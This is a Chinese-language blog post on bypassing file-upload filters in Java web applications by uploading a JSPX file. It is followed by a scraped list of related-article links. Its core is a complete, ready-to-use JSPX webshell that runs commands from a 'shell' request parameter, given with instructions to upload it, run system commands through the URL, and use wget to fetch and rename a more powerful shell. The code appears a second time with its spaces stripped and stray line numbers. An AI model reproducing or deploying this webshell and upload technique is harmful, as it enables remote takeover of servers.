前几天在做一个Java Web网站安全测试的时候在文件上传的地方发现了可以白名单绕过的地方,使用的是JSPX白名单绕过,在这里分析一下思路和脚本。

0x01 关于JSPX

你可以将JSPX理解为JSP的一个升级版,语法和JSP还是有点区别的额,百度上对他的描述也很简单。

在最新版本的Tomcat中JSPX是默认开启的,因为很多开发者可能不知道JSPX的存在,所以在写文件上传黑名单的时候可能就会忽视这一点,只禁止了JSP文件的上传却忽略了他的同胞兄弟——JSPX。

0x02 JSPX的WebShell

下面是JSPX的WebShell代码,直接保存为JSPX即可。

xmlns="http://www.w3.org/1999/xhtml"

xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">

jspx

try {

String cmd = request.getParameter("shell");

if (cmd !=null){

Process child = Runtime.getRuntime().exec(cmd);

InputStream in = child.getInputStream();

int c;

while ((c = in.read()) != -1) {

out.print((char)c);

}

in.close();

try {

child.waitFor();

} catch (InterruptedException e) {

e.printStackTrace();

}

}

} catch (IOException e) {

System.err.println(e);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

xmlns="http://www.w3.org/1999/xhtml"

xmlns:c="http://java.sun.com/jsp/jstl/core"version="1.2">

jspx

try{

Stringcmd=request.getParameter("shell");

if(cmd!=null){

Processchild=Runtime.getRuntime().exec(cmd);

InputStreamin=child.getInputStream();

intc;

while((c=in.read())!=-1){

out.print((char)c);

}

in.close();

try{

child.waitFor();

}catch(InterruptedExceptione){

e.printStackTrace();

}

}

}catch(IOExceptione){

System.err.println(e);

}

0x03 使用说明

这个WebShell来自于网上,只是一个轻量级的WebShell,只能执行shell命令,下面是使用姿势。

1、将文件保存为WebShell.jspx文件格式,并上上传到服务器。

2、使用下面的命令来执行:

http://127.0.0.1/WebShell.jspx?shell=你的shell命令

3、看页面回显,如果权限足够,可以直接执行系统命令。

0x04 补充

这个WebShell功能单一,但是我们可以利用Shell命令从别的服务器下载功能更强大的Shell,比如在Linux下面可以用下面的命令下载一个功能强大的WebShell到服务器。

wget http://127.0.0.1/shell.txt

mv shell.txt shell.jsp

1

2

wgethttp://127.0.0.1/shell.txt

mvshell.txtshell.jsp

先下载一个txt的shell文件到服务器,然后更改为jsp文件执行。

ps:使用脚本要注意一点,你的shell当前目录并不是在WebShell目录下,记得使用pwd命令查看,不出意外应该是在用户根目录下面。

java 简单的webshell_Java Web使用JSPX白名单绕过上传WebShell | kTWO-个人博客相关推荐

  1. 文件上传 黑名单白名单绕过(上)

    前言 文件上传常见验证: 后缀名:类型,文件头 后缀名:黑名单,白名单 文件类型:MIME信息 文件头:内容信息 php与html代码混编 $_FILES[表单上传name]['name'] < ...

  2. WEB安全之文件上传--白名单绕过%00截断

    文件上传漏洞介绍: 文件上传漏洞是web安全中经常用到的一种漏洞形式.是对数据与代码分离原则的一种攻击,它可以危害到我们服务器的安全,上传漏洞是指攻击者上传一个可执行webshell.一句话木马.恶意 ...

  3. 文件上传后端黑名单白名单绕过

    大家好! 我是小黄,很高兴又跟大家见面啦 ! 拒绝水文,从我做起 !!!! 未经允许,禁止转载 ,违者必究!!!! 本实验仅适用于学习和测试 ,严禁违法操作 ! ! ! 今天更新的是: 文件上传后端黑 ...

  4. web利用腾讯云点播上传视频

    web利用腾讯云点播上传视频到云服务器 第一步导入 <script src="//imgcache.qq.com/open/qcloud/js/vod/sdk/ugcUploader. ...

  5. Web.Config文件配置之限制上传文件大小和时间

    在邮件发送系统或者其他一些传送文件的网站中,用户传送文件的大小是有限制的,因为这样不但可以节省服务器的空间,还可以提高传送文件的速度.下面介绍如何在Web.Config文件中配置限制上传文件大小与时间 ...

  6. java使用Jsch实现远程操作linux服务器进行文件上传、下载,删除和显示目录信息...

    1.java使用Jsch实现远程操作linux服务器进行文件上传.下载,删除和显示目录信息. 参考链接:https://www.cnblogs.com/longyg/archive/2012/06/2 ...

  7. Java基础部分快速复习(以前复习的时候放在自己的新浪博客上)

    工作后Java基本没有用到,有时候自己也会把基础过一遍,下面的链接是以前重温的时候整理的Java基础最核心部分的知识点和代码示例放在自己的新浪博客上,如果以后有需要,直接从这里进入,可以快速复习,节省 ...

  8. java用itextPDF生成PDF文件保存至本地并上传至ftp服务器

    标题java用itextPDF生成PDF文件保存至本地并上传至ftp服务器 所需jar :itext-asian-5.2.0.jar,itextpdf-5.5.5.jar,commons-net-3. ...

  9. Java Web项目中遇到的文件上传与下载问题

    (转发自:https://www.cnblogs.com/xdp-gacl/p/4200090.html)   在Web应用系统开发中,文件上传和下载功能是非常常用的功能,今天来讲一下JavaWeb中 ...

最新文章

  1. 妙用 Intellij IDEA 创建临时文件,Git 跟踪不到的那种
  2. 面向对象(二)——三大特性(封装、继承、多态)
  3. 和平精英有电脑版吗_和平精英华晨宇代言版-和平精英华晨宇代言版下载v1.9.10...
  4. jinja Expressions
  5. BZOJ 2836 树链剖分+线段树
  6. 高通camx clock配置
  7. 外测要做好测试记录,并照相保留证据
  8. Docker 镜像加速器配置
  9. Excel 筛选唯一值或删除重复值
  10. [OfficeExcel] Word+Excel邮件合并 生成多个文档
  11. 非参数与半参数统计之核函数
  12. 阻击黑客,你需要了解这些云安全“潜规则”
  13. [4G5G专题-129]:RF-架构演进的驱动力与RF常见术语
  14. 开发工作流程_您应该了解的9个开发工作流程升级
  15. 批量转换中文名称为英文名称(注:一般为转换格式拼音)
  16. linux内核led驱动开发,从Linux内核LED驱动来理解字符设备驱动开发流程
  17. 移动渠道巨变:应用商店式微,超级 App 内分发崛起
  18. .弗洛伊德算法求最短路径
  19. 微信小程序(游戏)----拼图游戏(设计思路)
  20. c语言字符动画源码下载,C语言动画程序源码.docx

热门文章

  1. 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习
  2. .NET、C#和ASP.NET三者之间的区别与联系
  3. 数据库之架构:主备+分库?主从+读写分离?
  4. Windows核心编程:第9章 用内核对象进行线程同步
  5. [BZOJ] 1614: [Usaco2007 Jan]Telephone Lines架设电话线
  6. toolbox、library 的组织
  7. Leetcode: Excel Sheet Column Title
  8. A加载B,B发生的变化
  9. python拼图游戏编码_教你用Python自制拼图小游戏,轻松搞定熊孩子
  10. 一个完整的项目流程图_工程建设项目史上最完整的全流程图,必收藏备用!